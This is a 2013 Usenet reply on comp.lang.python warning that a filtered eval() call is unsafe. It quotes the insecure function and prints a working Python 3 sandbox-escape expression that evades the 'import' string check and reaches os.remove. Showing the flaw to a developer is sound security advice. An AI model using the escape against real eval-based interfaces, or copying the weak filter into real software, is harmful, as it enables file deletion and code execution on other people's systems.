Path: csiph.com!v102.xanadu-bbs.net!xanadu-bbs.net!eternal-september.org!feeder.eternal-september.org!newsfeed101.telia.com!starscream.dk.telia.net!news.tele.dk!news.tele.dk!small.news.tele.dk!newsgate.cistron.nl!newsgate.news.xs4all.nl!post.news.xs4all.nl!not-for-mail
MIME-Version: 1.0
Sender: chris@rebertia.com
In-Reply-To: <kc541v$3e4$1@reader1.panix.com>
References: <kc541v$3e4$1@reader1.panix.com>
Date: Thu, 3 Jan 2013 23:50:31 -0800
Subject: Re: Yet another attempt at a safe eval() call
From: Chris Rebert <clp2@rebertia.com>
Cc: python-list@python.org
Content-Type: text/plain; charset=UTF-8
Precedence: list
Newsgroups: comp.lang.python
Message-ID: <mailman.72.1357285841.2939.python-list@python.org>
Lines: 44
NNTP-Posting-Host: 2001:888:2000:d::a6
Xref: csiph.com comp.lang.python:36102

On Thu, Jan 3, 2013 at 3:25 PM, Grant Edwards <invalid@invalid.invalid> wrote:
>
> I've written a small assembler in Python 2.[67], and it needs to
> evaluate integer-valued arithmetic expressions in the context of a
> symbol table that defines integer values for a set of names.  The
> "right" thing is probably an expression parser/evaluator using ast,
> but it looked like that would take more code that the rest of the
> assembler combined, and I've got other higher-priority tasks to get
> back to.
>
> How badly am I deluding myself with the code below?

Given http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
and similar, I suspect the answer is "a fair bit".

> def lessDangerousEval(expr):
>     global symbolTable
>     if 'import' in expr:
>         raise ParseError("operand expressions are not allowed to contain the string 'import'")
>     globals = {'__builtins__': None}
>     locals  = symbolTable
>     return eval(expr, globals, locals)
>
> I can guarantee that symbolTable is a dict that maps a set of string
> symbol names to integer values.

Using the aformentioned article as a basis, I was able to get this
doozy working, albeit under Python 3:

$ python3
Python 3.3.0 (default, Nov  4 2012, 17:47:16)
[GCC 4.2.1 Compatible Apple Clang 4.0 ((tags/Apple/clang-421.0.57))] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> expr = "[klass for klass in ().__class__.__bases__[0].__subclasses__() if klass.__name__ == 'Codec'][0].encode.__globals__['__builtins__']['__im'+'port__']('os').remove"
>>> eval(expr, {'__builtins__': None}, {})
<built-in function remove>
>>>

Since the original attack was itself devised against Python 2.x, it's
highly likely that similar convoluted attacks against 2.x remain
possible, unless perhaps you were use a modified interpreter.

Cheers,
Chris